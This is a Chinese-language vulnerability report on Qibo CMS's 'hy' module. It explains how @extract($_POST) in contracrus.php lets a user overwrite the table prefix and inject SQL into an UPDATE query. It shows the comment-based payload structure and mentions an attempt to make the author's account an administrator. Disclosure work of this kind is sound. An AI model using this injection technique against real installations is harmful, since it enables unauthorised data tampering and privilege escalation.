### 简要描述：
刚从官网首页上面下载的。
比较苦逼。 首页上好像没更新文件?
本来还以为可以直接提升自己为管理的, 不过测试测试 蛋疼的多行 让我放弃了
老老实实来注入把。。
### 详细说明：
在hy/member/homepage_ctrl/contracrus.php中
```
@extract($_POST);
if($qy_contact_email&&!ereg("^[-a-zA-Z0-9_\.]+\@([0-9A-Za-z][0-9A-Za-z-]+\.)+[A-Za-z]{2,5}$",$qy_contact_email)){
showerr('邮箱不符合规则');
}
elseif($qy_website&&!eregi("^http:",$qy_website)){
showerr('网址有误,必须是http://开头');
}elseif($qy_postnum&&!eregi("^([0-9]{6})$",$qy_postnum)){
showerr('邮政编码有误');
}elseif($qy_contact_mobile&&!eregi("^1([0-9]{10})$",$qy_contact_mobile)){
showerr('手机号码有误');
}elseif($qq&&!eregi("^([0-9]{5,11})$",$qq)){
showerr('QQ号码有误');
}elseif($msn&&!ereg("^[-a-zA-Z0-9_\.]+\@([0-9A-Za-z][0-9A-Za-z-]+\.)+[A-Za-z]{2,5}$",$msn)){
showerr('msn不符合规则');
}
$db->query("UPDATE `{$_pre}company` SET
`qy_contact`='$qy_contact',
`qy_contact_zhiwei`='$qy_contact_zhiwei',
`qy_contact_tel`='$qy_contact_tel',
`qy_contact_fax`='$qy_contact_fax',
`qy_contact_mobile`='$qy_contact_mobile',
`qy_website`='$qy_website',
`qy_contact_email`='$qy_contact_email',
`qy_postnum`='$qy_postnum',
`qy_address`='$qy_address',
`qq`='$qq',
`msn`='$msn',
`skype`='$skype',
`ww`='$ww',
`city_id`='{$city_id}',
`gg_maps`='$gg_maps'
WHERE uid='$uid'");
```
这里@extract($_POST); 变量覆盖。
一开始想的是把update的这表前缀给覆盖了。
然后update qb_memberdata 给自己提升为管理。
但是这可恶的多行。 # -- 只能做单行注释
`qy_contact`='$qy_contact',
`qy_contact_zhiwei`='$qy_contact_zhiwei',
没办法注释掉这下面的这些, 用/*的话 我测试了必须还在最后加上*/。。。
用换行也失败了。。
看来只有老老实实来注入了。
UPDATE `qibo_hy_company` SET
`qy_contact`='',
`qy_contact_zhiwei`='',
`qy_contact_tel`='',
因为无法注释掉后面的 所以只有想办法来补全语句来注入
但是因为后面的这个set qy_contact 只是在表company里面才有
所以还是得让$_pre为这个表。
语句大概为这样的。 首先覆盖掉$_pre 让其为qibo_hy_company
此时之星的语句为
UPDATE `qibo_hy_company_company` SET
`qy_contact`='',
`qy_contact_zhiwei`='',
`qy_contact_tel`='',
然后先闭合第一个反引号 然后单行注释掉_company` SET
UPDATE `qibo_hy_company`#_company` SET
`qy_contact`='',
最后自己补一个。UPDATE `qibo_hy_company` SET qy_contact=xx#_company` SET
`qy_contact`='',
可以注入了。
### 漏洞证明：
[<img src="https://images.seebug.org/upload/201405/2319552113b902bab366cd27053dc23ee378286e.jpg" alt="q1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/2319552113b902bab366cd27053dc23ee378286e.jpg)
京公网安备 11010502034610号
暂无评论